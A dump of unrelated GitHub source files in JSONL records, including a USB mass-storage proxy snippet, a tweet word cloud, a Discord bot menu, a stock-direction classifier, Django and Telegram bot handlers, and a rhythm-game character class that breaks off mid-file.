USBProxyApp(verbose=1)\nd = USBMassStorageDevice(u, sys.argv[1], verbose=3)\n\nd.connect()\n\ntry:\n d.run()\nexcept KeyboardInterrupt:\n d.disconnect()\n","repo_name":"usb-tools/USBProxy-legacy","sub_path":"src/bindings/python/usbproxy-fd-umass.py","file_name":"usbproxy-fd-umass.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":418,"dataset":"github-code","pt":"48"} +{"seq_id":"74477137106","text":"from PIL import Image\nfrom wordcloud import WordCloud, STOPWORDS\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport re\nimport random\n\ndef grey_color_func(word, font_size, position, orientation, random_state=None, **kwargs):\n return \"hsl(0, 0%%, %d%%)\" % random.randint(40, 80)\n\ntwitterdata = pd.read_csv(\"tweets.csv\")\ndf = twitterdata[\"text\"]\n\nstopwords = set(STOPWORDS)\nstopwords.add(\"RT\")\n\n\n_mask = np.array(Image.open(\"twitter.png\"))\n_edited = np.invert(_mask)\n\nwc = WordCloud(background_color=\"white\", max_words=2000,stopwords=stopwords, mask=_edited)\n\ntext = df.str.cat()\nfiltered = re.findall(r'(?:\\b\\w{4,}\\b)', text)\n\ntext = ','.join(map(str, filtered))\n\nwc.generate(text)\nplt.imshow(wc.recolor(color_func=grey_color_func, random_state=3))\nwc.to_file(\"myTweets.png\")\nplt.axis(\"off\")\nplt.figure()\nplt.axis(\"off\")\nplt.show()\n","repo_name":"ClaudioDavi/TwitterWordCloud","sub_path":"tweetsWordCloud.py","file_name":"tweetsWordCloud.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31823212343","text":"import discord\nfrom discord.ui import View, Button\n\nfrom config import history_emoji, fault_emoji, quest_emoji, xp_emoji, UKI_EMOGI, time_emoji, butterfly_emoji, event_emoji\n\n\nclass StandartView:\n def __init__(self):\n self.button_trash = Button(style=discord.ButtonStyle.secondary, emoji='🗑')\n self.button_trash_two = Button(style=discord.ButtonStyle.secondary, emoji='🗑')\n\n self.button_shop = Button(style=discord.ButtonStyle.secondary, label='Магазин', emoji=UKI_EMOGI)\n self.button_history = Button(style=discord.ButtonStyle.secondary, label='История', emoji=history_emoji)\n self.button_fault = Button(style=discord.ButtonStyle.secondary, label='Выговоры', emoji=fault_emoji)\n self.button_quest = Button(style=discord.ButtonStyle.secondary, label='Квесты', emoji=quest_emoji)\n\n self.button_edit_time = Button(style=discord.ButtonStyle.grey, label='Время', emoji=time_emoji)\n self.button_edit_event = Button(style=discord.ButtonStyle.grey, label='Ивенты', emoji=event_emoji)\n self.button_edit_butterflies = Button(style=discord.ButtonStyle.grey, label='Бабочки', emoji=butterfly_emoji)\n self.button_edit_xp = Button(style=discord.ButtonStyle.grey, label='Опыт', emoji=xp_emoji)\n\n def standart_profile_view(self, drop_down) -> View:\n clan_staff_view = View(timeout=None)\n clan_staff_view.add_item(self.button_shop)\n clan_staff_view.add_item(self.button_history)\n clan_staff_view.add_item(self.button_fault)\n clan_staff_view.add_item(self.button_quest)\n clan_staff_view.add_item(drop_down)\n\n return clan_staff_view\n\n def admin_profile_view(self, drop_down) -> View:\n admin_view = View(timeout=None)\n admin_view.add_item(self.button_shop)\n admin_view.add_item(self.button_quest)\n admin_view.add_item(self.button_history)\n admin_view.add_item(self.button_fault)\n admin_view.add_item(self.button_trash)\n admin_view.add_item(self.button_edit_time)\n admin_view.add_item(self.button_edit_event)\n admin_view.add_item(self.button_edit_butterflies)\n admin_view.add_item(self.button_edit_xp)\n admin_view.add_item(self.button_trash_two)\n admin_view.add_item(drop_down)\n return admin_view\n\n\nclan_staff_view = StandartView()\n","repo_name":"BladeXses21/clan_staff_v1","sub_path":"main/src/embeds/clan_embed/view_builders/staff_menu_builder.py","file_name":"staff_menu_builder.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"14878748935","text":"#En este script estudiaremos la implementación de algunos de algoritmos de clasificación y el estudio de sus resultados. Es por eso por lo que emplearemos labels1 como etiquetas.\n#Comenzamos importando bibliotecas básicas y los datos de Google. Las funciones para modificar nuestros datos volverána ser definidas por problemas a la hora de importarlas (resolver)\n\nimport pandas as pd\nimport numpy as np\n\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nmpl.rc('axes', labelsize=14)\nmpl.rc('xtick', labelsize=12)\nmpl.rc('ytick', labelsize=12)\n\ngoogle = pd.read_csv(\"C:/Users/aleja/OneDrive/Escritorio/Market Data/Stocks/googl.us.txt\")\n\ngoogle = google.drop(columns=[\"OpenInt\"])\ngoogle[\"Diferencia\"] = google[\"Close\"] - google[\"Open\"]\ngoogle[\"CV\"] = np.where(google[\"Diferencia\"] >= 0, \"Compra\", \"Venta\")\n\ndef DiferenciaX(dias):\n\n\tdif = np.zeros(len(google))\n\n\tfor i in range(len(google)):\n\n\t\tif i < dias: \n\n\t\t\tdif[i] = 0\n\n\t\telse:\n\n\t\t\tdif[i] = google.iloc[i,1] - google.iloc[i-dias,1]\n\n\treturn dif\n\ndiff5 = DiferenciaX(5)\ndiff25 = DiferenciaX(25)\ndiff50 = DiferenciaX(50)\n\ngoogle[\"Diferencia5\"] = diff5\ngoogle[\"Diferencia25\"] = diff25\ngoogle[\"Diferencia50\"] = diff50\n\ndef RSIcalcul(periodos):\n\n\trsi = np.zeros(len(google))\n\tsubidas=0\n\tbajadas=0\n\tvariacion=0\n\n\tfor i in range(len(google)):\n\n\t\tif i < periodos-1: \n\n\t\t\trsi[i]=0\n\n\t\telse:\n\n\t\t\t\tfor n in range(periodos-1):\n\n\t\t\t\t\tvariacion = google.iloc[i-(n+1),1] - google.iloc[i-n,1]\n\n\t\t\t\t\tif variacion <= 0:\n\n\t\t\t\t\t\tsubidas = subidas - variacion\n\n\t\t\t\t\telse:\n\n\t\t\t\t\t\tbajadas = bajadas + variacion\n\n\t\t\t\tmedia_subidas = subidas/periodos\n\t\t\t\tmedia_bajadas = bajadas/periodos\n\t\t\t\tRS = media_subidas/media_bajadas\n\t\t\t\tRSI = 100 - (100/(1+RS))\n\t\t\t\trsi[i] = RSI\n\n\treturn rsi\n\nrsi = RSIcalcul(14)\ngoogle[\"RSI\"] = rsi\n\nfor i in (range(len(google)-1)):\n\n\tgoogle[\"CV\"][i] = google[\"CV\"][i+1]\n\tgoogle[\"Diferencia\"][i] = google[\"Diferencia\"][i+1]\n\ngoogle = google.drop(range(0,50), axis=0)\ngoogle = google.drop([3332], axis=0)\ngoogle = google.reset_index() \n\ndef split_train_test_ordered(data,test_ratio): \n\tindices = range(len(google))\n\ttrain_set_size = int(len(data) * test_ratio)\n\ttrain_set_indices = indices[:train_set_size]\n\ttest_set_indices = indices[train_set_size:]\n\treturn data.iloc[train_set_indices], data.iloc[test_set_indices]\n\ntrain_set, test_set = split_train_test_ordered(google, 0.8) \n\ntrain_set_prep = train_set.drop(\"CV\",axis=1)\ntrain_set_prep = train_set_prep.drop(\"Diferencia\",axis=1)\ntrain_set_prep = train_set_prep.drop(\"Date\",axis=1)\ntrain_set_labels1 = train_set[\"CV\"].copy() \n\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler().fit(train_set_prep)\ntrain_set_prep_scaled = scaler.transform(train_set_prep)\n\n#A partir de este punto podemos aplicar algoritmos de clasificación\n#Empezamos con StochasticGradientDescent (SGD), que es un clasificador binario (sólo distingue entre dos clases)\n\nfrom sklearn.linear_model import SGDClassifier\n\nsgdc = SGDClassifier(random_state = 42)\nsgdc.fit(train_set_prep_scaled, train_set_labels1)\n\n#Evaluar un clasificador normalmente es algo más complicado que una regresión. Podemos emplear también cross validation, aunque a veces necesitamos mayor control sobre la funcion\n#(En Skicit Learn tenemos la función escrita)\n\nfrom sklearn.model_selection import cross_val_score\nprint(cross_val_score(sgdc, train_set_prep_scaled, train_set_labels1, cv=3, scoring=\"accuracy\"))\n\n#Vemos que aciertan en torno al 50% de las veces, pero esto no es ningún logro, puesto que solo tenemos dos opciones\n#Es por esto que es más interesante que nos vayamos a mirar la confussion matrix:\n\nfrom sklearn.model_selection import cross_val_predict #En lugar de devolver el score nos devuelve las predicciones de cada fold\nsgdc_prediction = cross_val_predict(sgdc, train_set_prep_scaled, train_set_labels1, cv=3)\n\nfrom sklearn.metrics import confusion_matrix\ncmatrix = confusion_matrix(train_set_labels1, sgdc_prediction)\nprint(\"Confussion Matrix SGDC: \\n\", cmatrix) #Vemos que la matriz da unos resultados muy malos. \n\n#Veamos la precision (TP/(TP+ FP) y el recall (TP/(TP + FN)\n\nfrom sklearn.metrics import precision_score, recall_score\n\nprint(\"Precision Score SGDC: \", precision_score(train_set_labels1, sgdc_prediction, pos_label = \"Compra\")) #Solo el 48% de las veces acierta cada vez que hay que comprar\nprint(\"Recall Score SGDC: \", recall_score(train_set_labels1, sgdc_prediction, pos_label = \"Compra\")) #Solo detecta el 29% de las compras\n\n#Probamos ahora con otros algoritmos, como los árboles de decisión o SVM:\n\nfrom sklearn.tree import DecisionTreeClassifier\n\nTreeC = DecisionTreeClassifier(max_depth=3, random_state=42)\nTreeC.fit(train_set_prep_scaled, train_set_labels1)\nTree_predictions = cross_val_predict(TreeC, train_set_prep_scaled, train_set_labels1, cv=3)\nTreeMatrix = confusion_matrix(train_set_labels1,Tree_predictions)\nprint(\"Confussion Matrix Decision Tree Clasiffier: \\n\", TreeMatrix)\nprint(\"Precison Score Tree: \", precision_score(train_set_labels1, Tree_predictions, pos_label = \"Compra\"))\nprint(\"Recall Score Tree: \", recall_score(train_set_labels1, Tree_predictions, pos_label = \"Compra\")) #Los resultados siguen siendo terribles.\n\n#Support Vector Classifier:\n\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\n\nSVC_l = LinearSVC(C=1, loss=\"hinge\", max_iter =10000, random_state=42)\nSVC_l.fit(train_set_prep_scaled, train_set_labels1)\nSVC_l_predictions = cross_val_predict(SVC_l, train_set_prep_scaled, train_set_labels1, cv=3)\nSVC_l_Matrix = confusion_matrix(train_set_labels1, SVC_l_predictions)\nprint(\"Confussion Matrix LinearSVM: \\n\", SVC_l_Matrix)\n#print(\"Precision Score Linear SVM: \", precision_score(train_set_labels1, SVC_l_predictions, pos_label = \"Compra\"))\n#print(\"Recall Score Linear SVM: \", recall_score(train_set_labels1, SVC_l_predictions, pos_label = \"Compra\")) #Los resultados siguen siendo terribles.\n\n#Podemos intentar modificar el límite de los algoritmos de clasificación y ver si conseguimos mejores resultados:\n#Usamos decision_function que devuelve un score y después hacemos predicciones basadas en ese score usando el threshold deseado:\n#Para saber que threshold queremos pintamos el recall y la precision para cada threshold.\n\nlabels_compra = (train_set_labels1 == \"Compra\") #Marca un uno las compras y un cero las ventas\n\nscores = cross_val_predict(sgdc, train_set_prep_scaled, labels_compra, cv = 3, method=\"decision_function\") #especificamos que son los scores lo que queremos\n\n#ahora podemos dibujar la curva de precision y recall para todos los posibles threshold\n\nfrom sklearn.metrics import precision_recall_curve\n\nprecisions, recalls, thresholds = precision_recall_curve(labels_compra, scores)\n\n#Función para graficar:\n\ndef plot_precision_recall_vs_threshold(precisions, recalls, thresholds):\n plt.plot(thresholds, precisions[:-1], \"b--\", label=\"Precision\", linewidth=2)\n plt.plot(thresholds, recalls[:-1], \"g-\", label=\"Recall\", linewidth=2)\n plt.xlabel(\"Threshold\", fontsize=16)\n plt.legend(loc=\"upper left\", fontsize=16)\n plt.ylim([0, 1])\n\nplt.figure(figsize=(8, 4))\nplot_precision_recall_vs_threshold(precisions, recalls, thresholds)\nplt.xlim([-10, 5])\nplt.show()\n\n#Podemos hacer también el plot de precision vs recall para elegir un threshold:\n\ndef plot_precision_vs_recall(precisions, recalls):\n plt.plot(recalls, precisions, \"b-\", linewidth=2)\n plt.xlabel(\"Recall\", fontsize=16)\n plt.ylabel(\"Precision\", fontsize=16)\n plt.axis([0, 1, 0, 1])\n\nplt.figure(figsize=(8, 6))\nplot_precision_vs_recall(precisions, recalls)\n#plt.show()\n\n#Elegimos ahora un threshold de -2:\n\nSGDC_prediction_m2 = (scores > -2)\n\n#Estudiamos ahora la precisión y el recall y la confusion matrix:\n\nprint(\"-----------------------\")\n\nprint(confusion_matrix(labels_compra, SGDC_prediction_m2))\n\nprint(precision_score(labels_compra, SGDC_prediction_m2))\n\nprint(recall_score(labels_compra, SGDC_prediction_m2))\n\n#Vemos que han mejorado los resultados","repo_name":"Spocklight/Proyecto_MarketData","sub_path":"Proyecto_Market2.py","file_name":"Proyecto_Market2.py","file_ext":"py","file_size_in_byte":7952,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71983512147","text":"import math\nimport scipy.special\nimport mpmath\n\ndef gammaPlus(a,x):\n\treturn scipy.special.gammaincc(a, x) * gamma(x)\n\ndef contfractbeta(x,a,b, ITMAX = 200):\n\n\t\"\"\" contfractbeta() evaluates the continued fraction form of the incomplete Beta function; incompbeta().\n\t(Code translated from: Numerical Recipes in C.)\"\"\"\n\n\tEPS = 3.0e-7\n\tbm = az = am = 1.0\n\tqab = a+b\n\tqap = a+1.0\n\tqam = a-1.0\n\tbz = 1.0-qab*x/qap\n\n\tfor i in range(ITMAX+1):\n\t\tem = float(i+1)\n\t\ttem = em + em\n\t\td = em*(b-em)*x/((qam+tem)*(a+tem))\n\t\tap = az + d*am\n\t\tbp = bz+d*bm\n\t\td = -(a+em)*(qab+em)*x/((qap+tem)*(a+tem))\n\t\tapp = ap+d*az\n\t\tbpp = bp+d*bz\n\t\taold = az\n\t\tam = ap/bpp\n\t\tbm = bp/bpp\n\t\taz = app/bpp\n\t\tbz = 1.0\n\t\tif (abs(az-aold)<(EPS*abs(az))):\n\t\t\treturn az\n\n\tprint('a or b too large or given ITMAX too small for computing incomplete beta function.')\n\ndef incompbeta(x,a,b):\n\n\t''' incompbeta(a,b,x) evaluates incomplete beta function, here a, b > 0 and 0 <= x <= 1. This function requires contfractbeta(a,b,x, ITMAX = 200)\n\t(Code translated from: Numerical Recipes in C.)'''\n\n\tif (x == 0):\n\t\treturn 0;\n\telif (x == 1):\n\t\treturn 1;\n\telse:\n\t\tlbeta = math.lgamma(a+b) - math.lgamma(a) - math.lgamma(b) + a * math.log(x) + b * math.log(1-x)\n\t\tif (x < (a+1) / (a+b+2)):\n\t\t\treturn math.exp(lbeta) * contfractbeta(a, b, x) / a;\n\t\telse:\n\t\t\treturn 1 - math.exp(lbeta) * contfractbeta(b, a, 1-x) / b;\n\ndef betaMinus(x,a,b):\n\treturn scipy.special.betainc(a,b,x) * beta(a,b)\n\ndef gamma(x):\n\treturn scipy.special.gamma(x)\n\ndef beta(a,b):\n\treturn scipy.special.beta(a,b)\n\ndef U(a,b,x):\n\treturn scipy.special.hyperu(a,b,x)\n\ndef G(z,alpha,k):\n\tA1 = []\n\tA2 = [1,3-2*alpha]\n\tB1 = [3-4*alpha,-6*alpha+k+2,0]\n\tB2 = []\n\treturn mpmath.meijerg([A1,A2], [B1,B2],z)\n\n# def exactLimit(k, alpha, nu):\n# \t\"\"\"\"\"\"\n# \tif alpha == 1:\n# \t\tprint(\"alpha == 1\")\n# \txi = (4*alpha*nu) / (math.pi*(2*alpha -1))\n# \tlimit = 1 / (8*alpha*(alpha-1)*gammaPlus(k-2*alpha, xi)) * (-gammaPlus(k-2*alpha, xi) - 2*(alpha*(alpha-0.5)**2*xi**2 * gammaPlus(k-2*alpha-2, xi) ) / (alpha-1) + 8*alpha*(alpha-0.5)*xi*gammaPlus(k-2*alpha-1,xi) + 4*xi**(4*alpha-2) * gammaPlus(k-6*alpha+2,xi)*((2**(-4*alpha) * (3*alpha-1))/(alpha-1) + (alpha-0.5)*betaMinus(0.5,1+2*alpha,-2+2*alpha)) + xi**(k-2*alpha)*gamma(2*alpha+1)*math.exp(-xi)*U(2*alpha+1, 1+k-2*alpha,xi) - xi**(4*alpha-2)*gamma(2*alpha+1)*G(xi,alpha,k))\n#\n# \tprint(\"*******\")\n# \tprint(1 / (8*alpha*(alpha-1)*gammaPlus(k-2*alpha, xi)))\n# \tprint((-gammaPlus(k-2*alpha, xi) - 2*(alpha*(alpha-0.5**2)*xi**2 * gammaPlus(k-2*alpha-2, xi) ) / (alpha-1) ))\n# \tprint(8*alpha*(alpha-0.5)*xi*gammaPlus(k-2*alpha-1,xi))\n# \tprint(4*xi**(4*alpha-2) * gammaPlus(k-6*alpha+2,xi)*((2**(-4*alpha) * 3*alpha-1)/(alpha-1)) + (alpha-0.5)*betaMinus(0.5,1+2*alpha,-2+2*alpha))\n# \tprint((alpha-0.5)*betaMinus(0.5,1+2*alpha,-2+2*alpha))\n# \tprint(betaMinus(0.5,1+2*alpha,-2+2*alpha))\n# \tprint(xi**(k-2*alpha)*gamma(2*alpha+1)*math.exp(-xi)*U(2*alpha+1, 1+k-2*alpha,xi))\n# \tprint(xi**(4*alpha-2)*gamma(2*alpha+1)*G(xi,alpha,k))\n# \tprint(U(2*alpha+1, 1+k-2*alpha,xi))\n# \tprint(G(xi,alpha,k))\n# \treturn limit\n#\n# for k in range(2,25+1):\n# \tprint(exactLimit(k=k, alpha=0.8, nu=1))\n\n\n# alpha = 0\n# while alpha <=4:\n# \tprint(str(alpha) + \": \" + str((alpha-0.5)*betaMinus(0.5,1+2*alpha,-2+2*alpha)))\n# \talpha += 0.2\n\n# alpha = 3/4\n# nu = 1\n# xi = (4*alpha*nu) / (math.pi*(2*alpha -1))\n# print(incompbeta(0.5, 2*alpha +1, 2*alpha-2))\n# print(beta(2*alpha, 3*alpha - 4))\n# print(((3*alpha - 1)/(2**(4*alpha+1)*alpha*(alpha-1)**2) + ((alpha-0.5)*incompbeta(0.5, 2*alpha +1, 2*alpha-2))/(2*(alpha-1)*alpha) - (beta(2*alpha, 3*alpha - 4))/(4*(alpha-1)))*xi**(4*alpha - 2))","repo_name":"hendriklohse/H_n_estimation","sub_path":"exactClusteringFunction.py","file_name":"exactClusteringFunction.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17696631612","text":"import numpy as np\nimport os\n\n\nscreen_file = './replay_buffer.npy'\nscreens = np.load(screen_file)\n\ndef get_batch(batch_size, max_n):\n indices = np.random.randint(0, screens.shape[0]-max_n, size=batch_size)\n offsets = np.random.randint(0, max_n, size=batch_size)\n start = indices\n end = indices + offsets\n s1 = screens[start, :, :]\n s2 = screens[end, :, :]\n n = offsets\n return s1, s2, n","repo_name":"chrisgrimm/deep_abstract_q_network","sub_path":"clustering/batch_helpers.py","file_name":"batch_helpers.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"48"} +{"seq_id":"35536547521","text":"import requests\n\n_gmi_objects = []\n\n\ndef get_gmi(access_token):\n for gmi in _gmi_objects:\n if gmi.access_token == access_token:\n return gmi\n gmi = GMI(access_token)\n _gmi_objects.append(gmi)\n return gmi\n\n\nclass GMI:\n def __init__(self, access_token):\n self.access_token = access_token\n\n self.groups = None\n self.bots = None\n self.chats = None\n self.user = None\n\n self.refresh()\n\n def refresh(self):\n from lowerpines.group import GroupManager\n from lowerpines.bot import BotManager\n from lowerpines.chat import ChatManager\n from lowerpines.user import UserManager\n\n self.groups = GroupManager(self)\n self.bots = BotManager(self)\n self.chats = ChatManager(self)\n self.user = UserManager(self)\n\n def convert_image_url(self, url):\n from lowerpines.endpoints.image import ImageConvertRequest\n return ImageConvertRequest(self, requests.get(url).content).result\n\n","repo_name":"christianbreynolds/lowerpines","sub_path":"lowerpines/gmi.py","file_name":"gmi.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"42736340446","text":"from django.shortcuts import render\nfrom rest_framework import viewsets, mixins\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework import status, response\nfrom rest_framework.viewsets import GenericViewSet\nfrom rest_framework.permissions import IsAuthenticated, AllowAny\nfrom rest_framework.response import Response\n\nfrom crud_task_fk.common.validations import is_valid_uuid\nfrom review.serializers import ListingReviewSerializer, UserReviewSerializer\nfrom review.models import ListingReview\n\n\nclass ListingReviewViewset(mixins.CreateModelMixin,\n mixins.DestroyModelMixin,\n GenericViewSet):\n\n serializer_class = ListingReviewSerializer\n permission_classes = [AllowAny]\n queryset = ListingReview.objects.all()\n http_method_names = [\"post\", \"get\", \"delete\"]\n\n def validate_payload(self, data):\n listing = is_valid_uuid(data.get('listing', None))\n if not listing:\n raise ValidationError(detail={\n 'ref': 'INVALID_UUID',\n 'message': 'Invalid uuid for Listing',\n }, code=status.HTTP_400_BAD_REQUEST)\n\n def create(self, request, *args, **kwargs):\n data = request.data.copy()\n data.update({'user': request.user.id})\n serializer = self.get_serializer(data=data, context={'request': self.request})\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return response.Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n def destroy(self, request, *args, **kwargs):\n instance = self.get_object()\n if not instance.user == request.user:\n return Response(data={\n 'details': 'Cannot delete someone else review'\n }, status=status.HTTP_401_UNAUTHORIZED)\n self.perform_destroy(instance)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass UserReviewViewset(mixins.CreateModelMixin,\n mixins.DestroyModelMixin,\n GenericViewSet):\n\n serializer_class = UserReviewSerializer\n permission_classes = [IsAuthenticated]\n queryset = ListingReview.objects.all()\n http_method_names = [\"post\", \"get\", \"delete\"]\n\n def create(self, request, *args, **kwargs):\n data = request.data.copy()\n data.update({'owner': request.user.id})\n serializer = self.get_serializer(data=data, context={'request': self.request})\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n headers = self.get_success_headers(serializer.data)\n return response.Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)\n\n def destroy(self, request, *args, **kwargs):\n instance = self.get_object()\n if not instance.user == request.user:\n return Response(data={\n 'details': 'Cannot delete someone else review'\n }, status=status.HTTP_401_UNAUTHORIZED)\n self.perform_destroy(instance)\n return Response(status=status.HTTP_204_NO_CONTENT)\n","repo_name":"altafmalik555786/dp-gb-fyp","sub_path":"main_platform_backend/review/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9431418234","text":"# @Author: michael\n# @Date: 01-Jan-1970\n# @Filename: carto_conv_modif.py\n# @Last modified by: michael\n# @Last modified time: 09-Feb-2021\n# @License: GNU GPL v3\n\n\nfrom datetime import datetime\n\nimport config as cfg\nimport telegram\nfrom telegram import (\n InlineKeyboardButton,\n InlineKeyboardMarkup,\n KeyboardButton,\n ReplyKeyboardMarkup,\n Update,\n)\nfrom telegram.ext import (\n CallbackContext,\n CallbackQueryHandler,\n CommandHandler,\n ConversationHandler,\n Filters,\n MessageHandler,\n)\n\nfrom src.api.api_bdd import get_info\nfrom src.api.button import build_menu\nfrom src.plugins.carto.carto_tools import carto_creer_bouton_info\nfrom src.plugins.carto.Ip import Ip\n\nETAPE1 = range(1)\n\n\ndef button_modif(update: Update, context: CallbackContext):\n query = update.callback_query\n id = query.data.split(\"_\")[2]\n filtre = query.data.split(\"_\")[3]\n context.user_data[0] = {0: id, 1: filtre}\n context.bot.edit_message_text(\n chat_id=query.message.chat_id,\n message_id=query.message.message_id,\n text=\"Quel Alias voulez vous donner ?\",\n parse_mode=telegram.ParseMode.HTML,\n )\n return ETAPE1\n\n\ndef etape1(update: Update, context: CallbackContext):\n query = update.callback_query\n message = update.message.text\n id = context.user_data[0][0]\n filtre = context.user_data[0][1]\n ip = Ip.get(Ip.id == id)\n ip.alias = message\n ip.save()\n reponse = \"L'alias a été mis à jour\\n\\n\"\n reponse += get_info(id, Table=Ip)\n reply_markup = carto_creer_bouton_info(id, filtre)\n context.bot.send_message(\n chat_id=update.message.chat_id,\n text=reponse,\n parse_mode=telegram.ParseMode.HTML,\n reply_markup=reply_markup,\n )\n return ConversationHandler.END\n\n\ndef conv_cancel(update: Update, context: CallbackContext):\n context.bot.send_message(chat_id=update.message.chat_id, text=\"Bon c'est fini\")\n return ConversationHandler.END\n","repo_name":"mic-rigaud/Blueberry","sub_path":"src/plugins/carto/carto_conv_modif.py","file_name":"carto_conv_modif.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"36134679707","text":"\"\"\"\nPOZ-41\nMokhorev E.O\nlab 2_2 variant 9\nДан целочисленный вектор А(n). Построить вещественный вектор B(n),\ni-ый элемент которой равен среднему арифметическому двух соседних элементов вектора\nА: В [i]= =(А[i]+А[i+1])/2, (и B[10]=A[10]).\n\"\"\"\n\n\ndef make_list(len_list: int, type_list: [float, int] = int) -> list:\n \"\"\"\n This function takes the length of the array, and optionally the data type,\n the input of the array in the function is done manually. Returns a list\n _\n :param len_list: enter the length of the array.\n :param type_list: default integer, but you can use float.\n :return list: list with type int or float.\n \"\"\"\n try:\n return_list = [type_list(input(f\"input {i} el> \")) for i in range(len_list)]\n return return_list\n except Exception:\n print(f\"You can use only type {type_list}, start over\")\n return make_list(len_list, type_list)\n\n\ndef make_list_b_equals_a_i_plus_ai_plus1(list_a: list) -> [list, str]:\n \"\"\"\n The function takes a list A and return list b[i] = a[i] + a[i+1] but b[last]=a[last].\n Return list b or string on error.\n :param list_a: List for make list b\n :return: return list b[i] = a[i] + a[i+1] but b[last]=a[last] if error return \"you need use only integer\"\n \"\"\"\n try:\n if len(list_a) > 0:\n list_temp = [float(list_a[i]) for i in range(len(list_a))]\n list_b = [float(list_temp[i] + list_temp[i + 1]) for i in range(len(list_a) - 1)]\n list_b.append(float(list_temp[-1]))\n return list_b\n except ValueError:\n return \"you need use only integer\"\n\n\ndef test_make_list_b():\n assert make_list_b_equals_a_i_plus_ai_plus1([1, 1, 1, 1, 1]) == [2.00, 2.00, 2.00, 2.00, 1.00], \"doesn't work\"\n assert make_list_b_equals_a_i_plus_ai_plus1([0, 0, 0, 0, 0]) == [0.00, 0.00, 0.00, 0.00, 0.00], \"zero error\"\n assert make_list_b_equals_a_i_plus_ai_plus1([5, -5, 2, -2, 5]) == [0.00, -3.00, 0.00, 3.00, 5.00], \"negative number\"\n assert make_list_b_equals_a_i_plus_ai_plus1([\"0\", \"5\", \"0\", \"0\"]) == [5.00, 5.00, 0.00, 0.00], \"string number\"\n assert make_list_b_equals_a_i_plus_ai_plus1([\"0\", \"0\", \"x0\", \"0\"]) == \"you need use only integer\", \"Type error\"\n\n\nif __name__ == \"__main__\":\n test_make_list_b()\n try:\n n = int(input(\"please write len list >\"))\n if n > 0: # check negative length\n made_list_a = make_list(n) # we can use int and float, default its integer.\n print(f\"your list = {made_list_a}\")\n made_list_b = make_list_b_equals_a_i_plus_ai_plus1(made_list_a)\n print(f\"your result list = {made_list_b}\")\n else:\n print(\"error len < 0\")\n except ValueError:\n print(\"list length can only be integer\")\n exit(0) # if error program will close\n","repo_name":"EduardMokhorev/university_on_2023_finished","sub_path":"june/Python/lab3_2_var9.py","file_name":"lab3_2_var9.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11965061922","text":"import modules.Stage as Stage\nimport modules.Sprite as Sprite\nimport modules.Camera as Camera\nimport modules.ui.Note as Note\n\nimport pygame as pg\nfrom pygame.locals import *\n\nimport json\n\nimport modules.Conductor as Conductor\n\nclass Character(Sprite.Sprite):\n char = None\n isPlayer = False\n animOffsets = {}\n \n __reverseDraw = False\n\n singDuration = 4\n lastHit = 0\n lastSing = None\n staticHoldAnimation = False\n\n danceSpeed = 2\n danced = False # for danceLeft and danceRight\n\n icon = \"daddy-dearest\"\n\n cameraPositiuon = (0, 0)\n\n def __init__(self, x=0,y=0,char=None,isPlayer=False,girlfriend=False): #char is a json file holding the character data\n super().__init__(x, y)\n self.char = json.load(open(char, \"r\"))\n x += self.char[\"position\"][0]\n y += self.char[\"position\"][1]\n self.x = x\n self.y = y\n self.isPlayer = isPlayer\n self.animOffsets = {}\n\n self.setFrames(Sprite.getSparrow(self.char[\"image\"]))\n\n self.scale = (self.char[\"scale\"], self.char[\"scale\"])\n\n if self.isPlayer != self.char[\"flip_x\"]:\n self.__reverseDraw = True\n \n if self.isPlayer != self.char[\"flip_x\"] and not girlfriend: self.flipX = not self.flipX\n\n for anim in self.char[\"animations\"]:\n animname = anim[\"anim\"]\n # if \"singLEFT\" then switch to \"singRIGHT\", same with right\n if self.flipX and animname.startswith(\"sing\"):\n if animname.endswith(\"LEFT\"):\n animname = animname.replace(\"LEFT\", \"RIGHT\")\n elif animname.endswith(\"RIGHT\"):\n animname = animname.replace(\"RIGHT\", \"LEFT\")\n if len(anim[\"indices\"]) == 0:\n self.addAnimByPrefix(animname, anim[\"name\"], anim[\"fps\"], anim[\"loop\"])\n else:\n self.addAnimByIndices(animname, anim[\"name\"], anim[\"indices\"], anim[\"fps\"], anim[\"loop\"])\n self.addOffset(animname, anim[\"offsets\"][0], anim[\"offsets\"][1])\n\n self.singDuration = 4\n self.lastHit = 0\n self.lastSing = None\n self.staticHoldAnimation = False\n\n self.danceSpeed = \"dance_speed\" in self.char and self.char[\"dance_speed\"] or 2\n self.singDuration = self.char[\"sing_duration\"]\n self.danced = False # for danceLeft and danceRight\n\n self.icon = self.char[\"healthicon\"]\n\n self.cameraPosition = (self.char[\"camera_position\"][0], self.char[\"camera_position\"][1])\n\n 